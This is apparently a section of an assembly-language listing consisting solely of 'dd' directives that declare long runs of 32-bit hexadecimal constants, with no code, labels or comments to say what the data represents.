		dd 0BCA16FB6h, 0A016B243h, 0B7343CC0h, 0A3B00B06h, 26A06107h
		dd 2C7510BDh, 0C026CCh,	97B31AE3h, 610C3A41h, 0B8D2315Ah
		dd 0DBBD1945h, 0EFE0B021h, 0EF71F9A0h, 5758A470h, 1F0273Ch
		dd 0E5200E90h, 0CD080DAh, 0A8D5F38Dh, 1CE6CBA4h, 53156C7Bh
		dd 222800EEh, 99EC0C8h,	4EA535Ch, 58E673Fh, 263C9C80h
		dd 98CB9063h, 0D77C1FE4h, 52104B62h, 7DC54800h,	6C069792h
		dd 21AEACB9h, 3C860019h, 93BBC93Ah, 300FA678h, 38DCD140h
		dd 3EA3D670h, 20DA5EEAh, 5DAB4A48h, 0DC7C492Ah,	67196313h
		dd 3B610440h, 5D2F81AAh, 0A52C002Ch, 0BD7C40B8h, 0DE01706Ah
		dd 648B5B97h, 0DBE07131h, 4A2500C3h, 0D1082D2Ch, 0D500F6CDh
		dd 2864BBC0h, 0D8D924h,	0B5BCD6EDh, 36789747h, 0E5A75700h
		dd 0AF04D24Dh, 4B8B009Eh, 7F2E3C9Fh, 77002A13h,	0D6C619B9h
		dd 76B59Bh, 82E998EDh, 0A03F31C5h, 1EEB3C3Ch, 6B00EED1h
		dd 9BB12FF6h, 0F77E0F34h, 19671B0Fh, 0B0F4A1FDh, 0CE05E866h
		dd 81C32100h, 0F34CF9EBh, 93AF0050h, 0CD39D99Eh, 0E41687A9h
		dd 5001BA9Ch, 0D115D7DAh, 77DC406Ah, 7CECB586h,	0E5718101h
		dd 73B434AFh, 0D01D9040h, 391A0063h, 6BB29A97h,	9F4F101h
		dd 9B8058B6h, 2C56B6BEh, 482707C6h, 0E090F90Ah,	19765141h
		dd 0DDCA6C07h, 1F910431h, 40C26EC7h, 20339C08h,	3C008891h
		dd 602CBDAEh, 193A02Eh,	0F4F5D5C4h, 0D41B4367h,	0BC2EEA42h
		dd 19009907h, 0EBD12D77h, 54EEE2A5h, 4E0AF493h,	61C0442Bh
		dd 3AB7008Bh, 3F2732h, 685A8ADCh, 4204C37h, 0FA0073E6h
		dd 70AD241Fh, 2C2CC239h, 90685FD6h, 0E0045B25h,	0C7007008h
		dd 560B6487h, 0ADA0C5ECh, 6800BD4Ah, 0FF664146h, 488379F8h
		dd 600010DDh, 62863045h, 0DE5EC80Dh, 80D76C80h,	0CC492F4Eh
		dd 0FEAB1882h, 0B0AE300h, 0C98800CBh, 7A83DFE0h, 0BE1D577Eh
		dd 0FC0F382Ah, 2906E064h, 907C67E4h, 40441ECDh,	86A9C3DEh
		dd 738B4AD1h, 0EC4CE4C0h, 1258C960h, 26FA009h, 4065117Dh
		dd 0F8F0A9BFh, 78A38701h, 0B826242Ah, 23F184C1h, 0A800C38h
		dd 0DEABBE91h, 2EB4FB00h, 4419C2B6h, 0BC75001Eh, 234CADAAh
		dd 95717ED4h, 2AB43503h, 0C8131FCCh, 0ACAFD18h,	0AA9DBF3Bh
		dd 81811DAAh, 0D01AAF05h, 0BDB0429Bh, 8E091444h, 8053435Eh
		dd 24C9D938h, 1E050031h, 0FE3F628Bh, 0FC096A77h, 1004C5EFh
		dd 999A38h, 0F202CEB7h,	6F07ECCFh, 8F5B226h, 0E057470Fh
		dd 7FC8105Dh, 3D5AE256h, 0A2DC27F8h, 0DC87B500h, 5C8F6811h
		dd 0B25E5102h, 80DE2A28h, 0E8554B9Bh, 97D3006Bh, 0E2F83DA8h
		dd 0AB004453h, 0DB487D8Dh, 0C335F83h, 30DCCD24h, 0B0A0EA70h
		dd 1601774Dh, 0C7736863h, 93E48BFAh, 2C8BBD23h,	6481000h
		dd 9A008354h, 38258D21h, 25B1B3D8h, 1C8F0B4Bh, 0E8190240h
		dd 0C824F3F8h, 21005839h, 5AB52659h, 0EDEE16ECh, 644E02B2h
		dd 34E08954h, 81587B32h, 4E7D1610h, 150C4847h, 0FE02EC91h
		dd 8860FBDDh, 9E9003A7h, 7EA65919h, 0FD44B82Ch,	4846303Ch
		dd 33D4237h, 2602050Fh,	0FF8076DCh, 2000325Dh, 0C1E0FA03h
		dd 3CE5702Dh, 345DC813h, 0E0F43318h, 0D9134A2Fh, 0F0C0C476h
		dd 4B8875FDh, 7B54C147h, 723434CFh, 8077C83Eh, 0EB8A38E3h
		dd 2891FAh, 7C0A25B7h, 0F262DD7Eh, 4547718h, 42CAE2E1h
		dd 0D5A680F1h, 71F629E0h, 16A4BF3h, 69A8DF68h, 7603C53h
		dd 0F911E3B9h, 0ABA7E810h, 9E3300AEh, 0CE70E10h, 0C400B6A5h
		dd 717A68B5h, 2605E65Eh, 1324704Ch, 0E1480085h,	3B42AFA0h
		dd 78795400h, 0CC5D7159h, 0B3A501ECh, 14BF3F46h, 2F24682Fh
		dd 9890CBA0h, 3325481h
		dd 0C88CB956h, 0FDB32EE6h, 0BC048806h, 0B608918h, 1A32CE3Fh
		dd 6040A42Bh, 0E6037FE3h, 4B3981C6h, 0F585F8A2h, 8C9AADh
		dd 90281C42h, 0F96A4DEAh, 60A3CB25h, 7DA784B8h,	1C355DF8h
		dd 33288D00h, 5BC2190Eh, 7493945Ch, 8B867100h, 0DC6A0676h
		dd 992300CBh, 0E1640805h, 963FAC3Dh, 8DE201D7h,	0AA28117Eh
		dd 34B3EA40h, 452600A1h, 0D15AFC16h, 820083A8h,	4AA7A3EBh
		dd 0F5356h, 0B965AD90h,	0A3375E7h, 0C4F9D203h, 9B42Ch
		dd 0BDE102B8h, 19CA4B28h, 0D7EC831Dh, 0B4C41740h, 26750D1Ah
		dd 1D83EF9h, 771F120Ch,	0B71180BEh, 2E11CB82h, 0B94A1C57h
		dd 90DC2C53h, 69410C30h, 75F990h, 4B08BE15h, 856DE0F4h
		dd 0F7AE3900h, 0E8FF0632h, 6E220440h, 0C514B9A7h, 31F40090h
		dd 742B4987h, 0DB67AB3Bh, 3D7DE881h, 0F6206011h, 69CEAC64h
		dd 61D5202Eh, 5E26EA1h,	0CDB5878h, 1648A81Eh, 0F8E0CBFDh
		dd 3319079Fh, 0A6231494h, 18009068h, 0C291A22Fh, 1C82B127h
		dd 0C0754A99h, 0BEEEEF41h, 127AFA80h, 17075F00h, 828AE308h
		dd 135D7D0Ch, 4E4CFFh, 0A61E40E0h, 0DE3E59C5h, 90E1971Bh
		dd 92971401h, 0E46D84CEh, 0DBDABC00h, 0F5DD1D0Dh, 7A79E307h
		dd 0E597BEEAh, 0C0A2F600h, 0F74B0B73h, 0FB873102h, 58B88005h
		dd 6F5CB3A0h, 0FC10FA00h, 14F3D3F9h, 510D5203h,	4AF83629h
		dd 0B2D43F5h, 2E0E445h,	0EAA7DAB3h, 0E920A28Ch,	0F01CB8h
		dd 650D87ABh, 31E6FC32h, 0F4756C2Ah, 6FCDCF01h,	9489EE48h
		dd 2B7AF0h, 0E6DDF632h,	0F050614h, 4059BE00h, 441B0D18h
		dd 0E0C50974h, 0C028DC3h, 0F7224B61h, 85B5303Ch, 0D882575Eh
		dd 1745E11h, 0B48F1255h, 0B644F487h, 800163E4h,	383DD59Bh
		dd 3196AE3Bh, 22F8A0DBh, 31CB281Eh, 0DC706CC9h,	2B40BDFh
		dd 85C0508Eh, 4BEF3A63h, 0C234BA00h, 96A4EA31h,	0A1107BFh
		dd 0D01C4D8Ch, 993372EEh, 7ECB9800h, 0F06A6530h, 408F00E0h
		dd 0C3B65C55h, 750086BCh, 0D89915CDh, 0C87B23h,	24C7FA1Eh
		dd 0DB400E14h, 0A32FF200h, 0F7E353CCh, 802D0EE6h, 2561FB2Ah
		dd 2BAFD168h, 0C7DDE000h, 0F218EA27h, 73A300BEh, 0E9B9FD19h
		dd 0E50090C4h, 9FC2AB3Dh, 1ECA581Eh, 0C026101Ch, 9D458465h
		dd 9700B93Ah, 301222AEh, 488EE74Dh, 0F6052A91h,	0E87937A7h
		dd 0AF100918h, 5840A0E0h, 1D7EC122h, 9FA72E9Dh,	0CBE24094h
		dd 0BE431889h, 2600017Dh, 0FE8FF355h, 0EF1CF42h, 0A3D22E20h
		dd 134032E0h, 209017FFh, 100078F4h, 89A4C2E0h, 265A189Fh
		dd 384DE4h, 73CD044Ah, 760031BAh, 0C6AD11EBh, 11FB0BEh
		dd 399D1880h, 0E40A8241h, 5D128E78h, 40812E55h,	0F1142AE7h
		dd 4FD82C68h, 3D906800h, 88B804h, 0EE2EF862h, 0CE61C2A5h
		dd 17734B0Fh, 8E0C3E13h, 90A010D9h, 1EA30128h, 7C2CC1D5h
		dd 94C28C0h, 0A014DE52h, 0E0D7FEECh, 0EEB8CB93h, 0FDE2FF81h
		dd 7B799DD5h, 948B965Fh, 984F015h, 39143579h, 557A7868h
		dd 342D48h, 4338C5BBh, 3754503h, 7D24B41Fh, 38008A88h
		dd 0FFE964A2h, 2DE13D6Eh, 0F0097F0h, 0C0B11875h, 0BF9E2C19h
		dd 106C8DA1h, 7C23409Eh, 35621639h, 152E68C3h, 0F4ED3DDh
		dd 41AD3C59h, 0AEF667C0h, 0B7232A0h, 0EA5050A9h, 0C7EA04E0h
		dd 0FFE1A500h, 8A67E746h, 5F301796h, 0A060C709h, 889AD7C2h
		dd 0FDF02000h, 68038EA1h, 4621C050h, 90F1F664h,	0CDD06E02h
		dd 0E24F4AEEh, 40E45ECAh, 577E7212h, 0BD19948h,	0D3FB3Eh
		dd 27CD3104h, 0D86001ABh, 86963C1Ah, 0F0D821EFh, 6A0EC7F6h
		dd 0E0195AAFh, 3D6F4DFAh, 8809517h, 0A4CB6ABh, 0F0605Dh
		dd 0DC3C2179h, 904FADAFh, 0E25B0FEAh, 0EC67FE29h, 3DAC90F4h
		dd 252486D8h, 0F081785Dh, 65B6590Ah, 0BE6C046Eh, 9D770547h
		dd 0E9D19420h, 0A4042A5Ch, 84CA00BCh, 4B548AB2h, 8E26F1A8h
		dd 1801B8FBh, 0CDCC59Bh, 17BA4920h, 0E0AA7CB2h,	91F0C2A0h
		dd 0A56CFD18h, 4DBFEEh,	6B139AB2h, 83A68830h, 11D0E830h
		dd 0B3E3C6h, 0E153FCC3h, 345CC715h, 1F6F5400h, 9BF0FAA8h
		dd 0E4697D73h, 12840036h, 0BABCCF31h, 47033B48h, 0B9C0E855h
		dd 0D9F9A065h, 91790758h, 0A0A0EC41h, 5D70108Bh, 0C2B7EA0Bh
		dd 0AB9C01BDh, 0B4246B79h, 8620002Ah, 6787D769h, 0A800F606h
		dd 6307CD95h, 14B8842h,	0C01139CEh, 6435A533h, 8595D3B8h
		dd 10B0FD80h, 0DD4E1780h, 80F45D2Eh, 0F6A58644h, 901EA67h
		dd 703CBE1Bh, 1CFE6FEh,	9A11EF79h, 70A5DBBBh, 6E783476h
		dd 0C4380703h, 0CFED4716h, 20842089h, 6E76703Fh, 8AA920B2h
		dd 7474385Eh, 924E0098h, 1B80D353h, 0F7007825h,	0B5950521h
		dd 0FE72A662h, 35ED2807h, 64493438h, 2003AE38h,	6BDA291h
		dd 90F81618h, 0B00A878h, 0EBBE3BA8h, 6A95B6h, 0DA34F14Bh
		dd 1018CC12h, 16C8901Eh, 6438EDCAh, 92202B90h, 364CC195h
		dd 0FDC7C510h, 6DB4F00h, 444D6224h, 64940009h, 6FE8E37Fh
		dd 4B00E534h, 0C3ABC71h, 0B64EF3h, 3EEA3912h, 0F89A3FE3h
		dd 1B1DFE00h, 0D2F3B062h, 25FC0Fh, 0C7E6A9D6h, 0C4BE077Eh
		dd 5398ED54h, 0ADB71400h, 0EC452F0Eh, 5F1600C7h, 3B189793h
		dd 1D2AEE34h, 6A1CA8EAh, 6E4010B5h, 0F8DE7829h,	0E018C250h
		dd 0C090F7F2h, 0BD4834C7h, 219000C5h, 0ED135D85h, 0CFFD0C0Eh
		dd 66CEE133h, 6B290092h, 7B1F8C6Fh, 0E50C7579h,	51ECC51Bh
		dd 0BCD00063h, 8C170AF8h, 700475Fh, 43B8C265h, 30FED56h
		dd 0ACB3F723h, 37C02217h, 0A7000164h, 9E351DF0h, 0CEDC78h
		dd 94BAE8EAh, 3677AC3h,	1FEE421Ch, 0DF9CD9B0h, 949E1F6Eh
		dd 0F6F209B9h, 0BDA04C00h, 461ECF21h, 991824A3h, 0CDBBA9h
		dd 0AB01909Eh, 61504D13h, 416B690Ch, 0C39FE8B6h, 81669429h
		dd 6252E901h, 0D6C52764h, 5429D980h, 0EDF63C47h, 0C9D0A102h
		dd 0A02A5B9Ch, 0E4A0C5BCh, 8DDB0050h, 1B3266B0h, 0AC1E13BFh
		dd 39C05435h, 6ED27987h, 5E110118h, 0F1D3C107h,	8FD7D1AEh
		dd 80997208h, 7CA638CEh, 327493h, 0B4A08A6Bh, 0A85F9178h
		dd 317C87F8h, 5D9D1007h, 8FFF77B3h, 80C607B4h, 106C46h
		dd 0A1D87DA3h, 49D379E7h, 0AB03F100h, 8F67AC51h, 0A4B5002Dh
		dd 5EA762CEh, 0B33C63A2h, 0A532037Ch, 0D7319E60h, 0C7086E86h
		dd 0B7A33630h, 0F0ADC791h, 6BB04DCEh, 0F8359C01h, 0F92F9D78h
		dd 41E6449h, 4DB8E0BBh,	0C610C31Ah, 1918B78Ah, 7A218D07h
		dd 80DC0E0Bh, 5520C6DAh, 0F27469A7h, 41625A00h,	96B40242h
		dd 167E0Fh, 0CFCBA8F7h,	304CAE63h, 11690E60h, 3B5FD7Bh
		dd 0D39C8A83h, 8337270h, 0E8CC2114h, 0F08EFDh, 84C7FEA6h
		dd 59F722FBh, 81611739h, 697C85E3h, 0B0C72765h,	309A18BCh
		dd 0FE49B3B8h, 0D8613A33h, 154E96B0h, 321459BEh, 0C830748Fh
		dd 3960CDF9h, 0C90D4300h, 7EAB1733h, 77520072h,	54028093h
		dd 0A418F32Fh, 535009D9h, 0D8238BB4h, 0FD770150h, 186A83B9h
		dd 7FB0881Dh, 83ADFD00h, 0F3EECB2Bh, 7C980AA5h,	194C6F7h
		dd 9AE23384h, 64188EF2h, 0EE01902Bh, 9B551C0Eh,	821083DDh
		dd 3D48F33h, 0C0D83B40h, 0D93BBE06h, 774D80A1h,	0B2AC8C1Bh
		dd 8946E40h, 898021F8h,	4A424D06h, 1991B31h, 0ED3DA42Dh
		dd 0F4CB4E7Eh, 0F60159C4h, 6E965738h, 0C5E473D5h, 0D2CC0299h
		dd 0E28CC6BDh, 0C0880C48h, 0B1E88118h, 6BCE11h,	4C27D313h
		dd 7C2F0DF4h, 21C308CCh, 13520170h, 4D91297Ah, 0FC81800Bh
		dd 2D653FE5h, 0DC9A551Bh
		dd 0E28750F0h, 8EBCA097h, 136414C3h, 0E80A80C9h, 7440C06Fh
		dd 0E100B946h, 0CF1A1490h, 8514737Eh, 83903101h, 18FE4696h
		dd 39A7E899h, 0C401287Dh, 0E1B0B892h, 198ED20Dh, 0B1D809AEh
		dd 6B1E874Eh, 0A980DD1Fh, 0ADF65E01h, 9006E4EFh, 87460C50h
		dd 88201D4Bh, 0F1A9A01Fh, 17990F84h, 0A72F5203h, 2D3491DCh
		dd 0C63020D0h, 0BE137D18h, 285B8AF8h, 5FCEBBFh,	86FFA3C0h
		dd 3B984C40h, 83314390h, 0CFB820C5h, 93E59983h,	0CDA04673h
		dd 0CE60BC21h, 0EB58F019h, 47762810h, 2BD46A4h,	27CF1367h
		dd 10B5312Ch, 3134E64h,	0BC4C9029h, 1900BDE3h, 601ACF84h
		dd 0E03F017Ch, 90F338ABh, 28F55681h, 223AEEA6h,	30A5F258h
		dd 75003AC0h, 0EC918515h, 1161AB9h, 18C6AC84h, 40DC677Dh
		dd 57338890h, 4DE080ABh, 18C6A49Fh, 0AA1DA2Fh, 9D60727h
		dd 7DD20EB8h, 66B79D40h, 4B07B029h, 649B8F5Bh, 670FE034h
		dd 18DCB059h, 7B4D08BCh, 8FC4AC1Bh, 4D857C40h, 6106BED0h
		dd 0F39743BBh, 0C7EE90h, 1691E736h, 93BD8FF7h, 12D2AC3Eh
		dd 38400931h, 8453A343h, 5587247h, 0BB7E6C04h, 0CED840C2h
		dd 10143616h, 5CB49001h, 4478AA17h, 1373C4h, 2708A02Ch
		dd 58D1F3BCh, 5E70E800h, 594B5FCDh, 98150E8Fh, 0CC8CBD78h
		dd 0A603051h, 90CE5879h, 358E02E7h, 632F53F3h, 8881544Ah
		dd 3AF1754h, 0E67BE188h, 9355B050h, 7E8180C4h, 0DA12527Fh
		dd 0E02117BDh, 40E1A0C6h, 0EFB90843h, 19287086h, 20C7638Eh
		dd 0A781815h, 0A8E38868h, 0EA1B80D8h, 9D982074h, 0DC59281Eh
		dd 0AE624882h, 4BC6C4Eh, 83B7FD8Dh, 2015629Ah, 0EBFD75C6h
		dd 21A5F8E5h, 0D252A402h, 432B8425h, 1AD02893h,	70CA06E4h
		dd 0D8CB3755h, 29BDC13Eh, 11198C5h, 0A6376A00h,	140BE4B5h
		dd 0FB52D500h, 0EA4C8610h, 83670041h, 0F0A99DB2h, 0AC9CB875h
		dd 0BD02F792h, 61745161h, 0A83458A4h, 8E21C7FDh, 0FE5C50D9h
		dd 0EC12C7CFh, 54011B71h, 32AD874Ch, 788EC844h,	50C0BB88h
		dd 34A6FCh, 17BA3FF9h, 6518C45Bh, 0E8C52F33h, 0FEEBC9F0h
		dd 8C68441h, 0AC4F3C30h, 0FD8C04B0h, 62A283B6h,	74C72016h
		dd 73006FFDh, 0F7E17EA4h, 62F47DB1h, 0EC1C8A9h,	0B6B04A00h
		dd 629829C9h, 191D5930h, 243BBBFCh, 4E40E4CFh, 44DE51EFh
		dd 939B06D1h, 0AAF01CC0h, 0EC0FDAD6h, 0C3C2B297h, 7E36384h
		dd 0E45869E1h, 88C0964Eh, 79025246h, 7A83BBFDh,	0CA101831h
		dd 4707FD81h, 158B3D94h, 9C0703h, 16A68779h, 6082FA1Eh
		dd 741E9F4Ch, 2320964Ch, 4DBA01DAh, 18BC1B79h, 838288A8h
		dd 0EC5B4D00h, 16F7186Ch, 0BA461353h, 23442F3Bh, 0A26803A9h
		dd 0BBA13BCEh, 0D03424CDh, 12E53C04h, 2882969Fh, 13693087h
		dd 7C27D911h, 6E80B888h, 76F81350h, 1BC01E7Dh, 3CD14236h
		dd 5CC09333h, 0F76243BDh, 5184C669h, 0DBC94020h, 0B5E6AC1Dh
		dd 5000FFEh, 0BDD04366h, 1E8AAB6h, 0DF3AF2C6h, 62AC5C40h
		dd 0E4BE2EB4h, 14AF1608h, 12BCDC63h, 56CF008Ch,	0ADEBA37Ch
		dd 510C72F2h, 0B8BF0B97h, 0CABB223Eh, 0BD00ADF2h, 0D524C998h
		dd 3F804F13h, 321D607Eh, 0CB95E21h, 17D19107h, 6C1A400h
		dd 0C87815B3h, 0B27A01ECh, 522D6A9Ch, 0CC85EE51h, 0DBE008C6h
		dd 784DB9C0h, 2284461Bh, 828300AAh, 0A4640D4Dh,	0E90CBF18h
		dd 883EFE06h, 91FC1785h, 0E454274Ah, 863740A6h,	0F6CB9011h
		dd 8D7F02E6h, 29018863h, 0B8613C81h, 91C0316Bh,	7E0096C9h
		dd 0F546F6A7h, 0DE00A198h, 2B2585B4h, 0B87AD73Fh, 466890CCh
		dd 9DD487Fh, 0B3C4516Bh, 9847BC68h, 0FF5650DBh,	5068ED1h
		dd 33E0FA6Dh, 63F407C0h, 40644B58h, 0C3AB2F51h,	0D0ADC4A0h
		dd 74F0AA14h, 0D2029234h, 937C5166h, 0F28234h, 36F1D68Dh
		dd 17DDB58h, 5BA43307h,	0F820FFB3h, 0C728A50Fh,	9360B8FFh
		dd 0E70DD3h, 0D734D1F5h, 0B109DA70h, 0ADF42D12h, 0C0BE9C08h
		dd 27D21366h, 0B6224446h, 0AC6548h, 0D6664E6Fh,	2F28E5Eh
		dd 0F276BDBh, 0F46811B9h, 91519F2Fh, 0C4CC0C84h, 0F4020A00h
		dd 0CA3C95E7h, 983303D8h, 0F0D114A7h, 0A86C3826h, 4174674h
		dd 0B8A8A726h, 72B0CC8h, 2A4C9EC2h, 0CCBB62A4h,	70C4A08Ah
		dd 4684AEE3h, 0FD760251h, 677283C0h, 7EB107E4h,	280162FDh
		dd 0D4B04844h, 0B84698D3h, 1199A07h, 0A9CEDE92h, 74653E75h
		dd 2951F56Ch, 0FC53EEACh, 0F56DC70h, 98037802h,	0BA01F50Bh
		dd 0ECE18A05h, 80ED30BDh, 83F141A9h, 15A801Ch, 9F7C706Bh
		dd 9DD0EC2Bh, 0ABCAA089h, 140790F2h, 0C794F155h, 18F074E6h
		dd 8474BF5Ah, 3628DE01h, 0C223072Ah, 14B2C463h,	87F030h
		dd 212C2D94h, 596DAC0h,	0C63FBD15h, 0C0B728F4h,	40F70CFBh
		dd 0DCB2D0B4h, 24DFAD04h, 6A09A4A1h, 0B41BCF84h, 40184A74h
		dd 0CA419206h, 4BE732Dh, 0D9571E07h, 7D00801Ah,	0F7189489h
		dd 14298E06h, 18E4390Eh, 988BB00h, 1561101Ch, 46437003h
		dd 0F86DCFA5h, 75B96676h, 0F0D0C08Bh, 0D65196AEh, 0FE24709Ah
		dd 55611C25h, 8400C6A3h, 0EF4E675Bh, 0C0C18848h, 1B764DBFh
		dd 302C944Bh, 4D880081h, 6CAFFAF4h, 0CB01EFC7h,	451B97CDh
		dd 6097DF5Fh, 0CBC6F24h, 6E0B98E7h, 56833CA3h, 551B5F83h
		dd 5800C7C3h, 8B02FD1h,	3BBD0A30h, 41E289C6h, 8481365Fh
		dd 52F39C9Ah, 8082C7BCh, 7408D8B8h, 8E465Ch, 1484227Eh
		dd 50D11727h, 2987F01Ch, 0E83D01h, 80C08251h, 0D331E891h
		dd 2BFE0876h, 6B3F1822h, 0B77003CAh, 0F89A5B05h, 4B60BC82h
		dd 3079A461h, 0F78C81B8h, 585165D4h, 92E114D4h,	8FE0D7DDh
		dd 0B7542B03h, 880851E4h, 809807DAh, 4943B80h, 0F2016FD9h
		dd 72E20C6Dh, 342C8FADh, 1D24111h, 68786BB7h, 9DEA0C51h
		dd 808F1194h, 84F45CABh, 0A2C10133h, 0D7C9A5EFh, 0CA042140h
		dd 13136830h, 8B5427D4h, 536F0094h, 0B24FF313h,	0A6E322DCh
		dd 0E437CA00h, 812E5AFDh, 0BE1A0AE5h, 5E58AC93h, 0AD00A446h
		dd 2223A35Bh, 0C7077F0Eh, 85B90207h, 54D0A7B4h,	9E2B6518h
		dd 8D01724h, 5280C578h,	0C445FFA0h, 6DD33955h, 1CA8FB82h
		dd 1C61C054h, 66608C2h,	0E8963D56h, 460BC9A4h, 805F8954h
		dd 3E6BBB8Ch, 63D4E7C4h, 47C9CAFh, 0B0581D14h, 6CB1D134h
		dd 0FE637081h, 0B8F81BFCh, 13A90191h, 21EF278Ah, 1FB60705h
		dd 80D97E10h, 30907458h, 0C69180A8h, 0C365861Ah, 79607150h
		dd 0D118B9h, 0EF15BECCh, 0C0B00BFCh, 41098E77h,	2B60AA3Eh
		dd 11DC1D20h, 0C1AA8F8Dh, 7B5F3749h, 5C341C71h,	0D11CB9A5h
		dd 4B218C3h, 45896D1h, 1084CEAEh, 8804A9EBh, 8DC4433Bh
		dd 84CC2CA0h, 0C0E0BA70h, 7124A031h, 9190127h, 29680BF1h
		dd 0C79C20FBh, 0B838A063h, 1E31226Bh, 7649700h,	0F77E62B2h
		dd 9DCC00FDh, 14A8AD7Ch, 0B71A931Eh, 0BA68E115h, 595C51C0h
		dd 30C9188Eh, 9D16E576h, 989AE764h, 0E35B8209h,	4D38A4FBh
		dd 7188CE2h, 712A4197h,	0F72C0477h, 3300F774h, 6DB6AC12h
		dd 0FEF10586h, 27D6D83Ah, 8D4DE048h, 12875C1Bh,	12C0147Eh
		dd 0BD257904h, 81A0F217h, 0CB93923Eh, 2C09EEE4h, 17CC0DDEh
		dd 23083AEFh, 2FF10015h, 4E31537Eh, 0FB9F0604h,	893ABE8h
		dd 2092E079h, 330F0046h, 214D738Ch, 0C815E37Bh,	0A838626Bh
		dd 4EF93F5Dh, 94FE4B80h, 27018135h, 0B88C489Ch,	49F1C3h
		dd 0CAD6655h, 0D5DE1FF5h, 25ACD700h, 0D6212A4h,	8AD41EBFh
		dd 5F7FCB66h, 7312040h
		dd 7CEC6CFDh, 72A87C02h, 89638018h, 0C6AC038Fh,	434BE92Eh
		dd 0E97CC047h, 0CA9F7BEh, 177E0B9Ch, 0FEEEB498h, 0C600A0B4h
		dd 28514B0Eh, 696D603Fh, 0BCA23053h, 0A3099900h, 0EEBABF54h
		dd 0EF5D00F6h, 0DADB758Ch, 11006E1Ah, 0E3D329C4h, 1FEAE131h
		dd 40EFBA6Ch, 1B08830Dh, 0A600373Eh, 84E6095Fh,	787E40D3h
		dd 0B0E53AA7h, 0FD595E80h, 3ED64C67h, 0E3B5A300h, 87D2E149h
		dd 0CA030077h, 15FFFA02h, 0EE004C12h, 0EF85AD90h, 409B6Ah
		dd 8DB591A2h, 87D6BCE4h, 48F6B25h, 0AD0268FCh, 9C523166h
		dd 7946DB00h, 0E87BA32Dh, 0E7153B0Ah, 4332F181h, 0C9CB0D8Ch
		dd 2962F9B7h, 167ACC8h,	2DFE2FD0h, 0DC9336E0h, 96602B84h
		dd 0F1608F90h, 77731E9Ch, 7C1027DAh, 8600C2EDh,	0CD5208BEh
		dd 92A181h, 231AD25Bh, 4B638DACh, 7C416CAAh, 8641884h
		dd 3427D013h, 7340C2C4h, 8EDF134Fh, 382E98B6h, 0CBD51740h
		dd 0E2579FAh, 9F07BDAAh, 0FAB5560h, 0C5E22751h,	5180258h
		dd 0E0FF6BBAh, 7DC048DBh, 0CF330D59h, 4A557888h, 0E868827Bh
		dd 57725480h, 990093FCh, 0DFC63A59h, 0D47D67h, 0B996E6C0h
		dd 94564B0Bh, 0B8AFC903h, 0DF2FFD70h, 467488DAh, 351407B8h
		dd 0BF637245h, 8F8CD83Ah, 401C92A4h, 9E98AE93h,	0CE6C1500h
		dd 0FC643216h, 1FB50054h, 0E8F3B861h, 6726F65Dh, 4674844Bh
		dd 979F008Fh, 24AFD0A5h, 0B4A750D5h, 87943AE2h,	30B1849h
		dd 2C450B39h, 5160B6E4h, 9A12E5EAh, 38970747h, 8D71406Fh
		dd 0B989C7D6h, 3EBD0BA0h, 3CB1F8B0h, 9001A930h,	5BBD96E0h
		dd 0E2DC283Dh, 0E6CD101Fh, 0AA85E582h, 8B6960FAh, 0C6520297h
		dd 44231F84h, 0CE427871h, 76F854AFh, 56001946h,	0DED88D22h
		dd 500D3EF8h, 61BFE382h, 6E5F60h, 0D8B86B58h, 0FEDFBDD3h
		dd 0E7CDB90Eh, 921C0321h, 0C229C9E8h, 137FE03Dh, 305076D2h
		dd 0BCA3FE10h, 453D7F01h, 0E160841h, 12652CCCh,	209CACCh
		dd 80B6697Fh, 10709C73h, 0D33A00DEh, 49988BADh,	90B88EF4h
		dd 91738F12h, 76F84070h, 0DBF00B4h, 219CF3DCh, 74019E15h
		dd 36982FFAh, 2C705B4Ah, 6C4027EEh, 80F4E82Ah, 19438452h
		dd 6025CBA3h, 45448348h, 96E97206h, 9029E24Ch, 0A0CBB822h
		dd 216A58F8h, 28AF0EB7h, 76215E10h, 0C4C06B11h,	789E19BDh
		dd 0BCD33097h, 0F0638B24h, 256BF78Fh, 281780B3h, 7980C391h
		dd 8F651BF3h, 4A14E24Ch, 84822035h, 4DB530D7h, 0A41B8C12h
		dd 7F01248Bh, 0BC104DBEh, 0FBB187C1h, 0C4837E42h, 7A25A8D7h
		dd 99B83990h, 0BF6B4105h, 1B70C046h, 95237Dh, 0AB43887Ch
		dd 4A6098F7h, 0AE3890C2h, 0C30F9532h, 0B2E72F4Ah, 3081DC52h
		dd 0C323BBAh, 8033A4F2h, 7303820Fh, 13CE0075h, 9751842Ch
		dd 0E4809FA3h, 0C0B54A3Fh, 3346D784h, 8C755728h, 0FEA42195h
		dd 0E878374Dh, 0F44FF06Bh, 3193B640h, 7805387Dh, 8E14D16h
		dd 0A1CF538Ch, 8283BAFDh, 0CB00244Ah, 33B7FD80h, 0E20C4344h
		dd 0D082EE47h, 847858BFh, 8642313h, 0F08557C0h,	0B80ED798h
		dd 1A2CD0C7h, 48BD1018h, 8C1CE81Ch, 84536C26h, 90327B60h
		dd 89AC0816h, 0FF80A7E3h, 5004BCC9h, 518B0088h,	0D02359Fh
		dd 117DBE17h, 0FE633316h, 0E06884C9h, 8CC3ACh, 68BB8F6h
		dd 97DF30B7h, 7C054373h, 0D0E5625Fh, 58B22484h,	2630ABE2h
		dd 0DAE21492h, 83058D3Dh, 0B3CE2343h, 0AFF0C438h, 89E8B8BDh
		dd 0A243BB3Fh, 3F5410C6h, 7EC102A6h, 7271C752h,	0A011C968h
		dd 15BD8468h, 0F1D22C9Eh, 18AA59ECh, 7D2101C1h,	60BDE22Eh
		dd 0CE4830F7h, 4C8F5088h, 434BA84Bh, 14DFA918h,	0D478ADEAh
		dd 0A9DEE376h, 63426CC0h, 1FDE7BDAh, 0CFEA4DAFh, 0DA08992h
		dd 3507F9A8h, 44CE844Ah, 0A9C1C4C8h, 7DF5D3h, 28CD7EC8h
		dd 91CC8802h, 9711FA24h, 0DC77D4C0h, 7034B000h,	18A5E92Ah
		dd 5838E51Dh, 0BBFEEE09h, 50B17090h, 0F05A5809h, 955E0034h
		dd 70D628h, 3AE3D14Dh, 0C737E8FEh, 0A45980A2h, 8E18B779h
		dd 6A073975h, 54918D82h, 44F47A09h, 760071A9h, 40A0DB31h
		dd 7A9E5C3Fh, 337F00DEh, 0A5F0216Bh, 94E5096h, 26C3C422h
		dd 800C94C8h, 21033060h, 14B5002Bh, 0E878C625h,	0EB01AB81h
		dd 0D480166Ah, 0B0388A51h, 953AB80Bh, 0DF010C82h, 349454C2h
		dd 91981597h, 0A511898Dh, 0CC0018F4h, 74215C5Ah, 2CF49801h
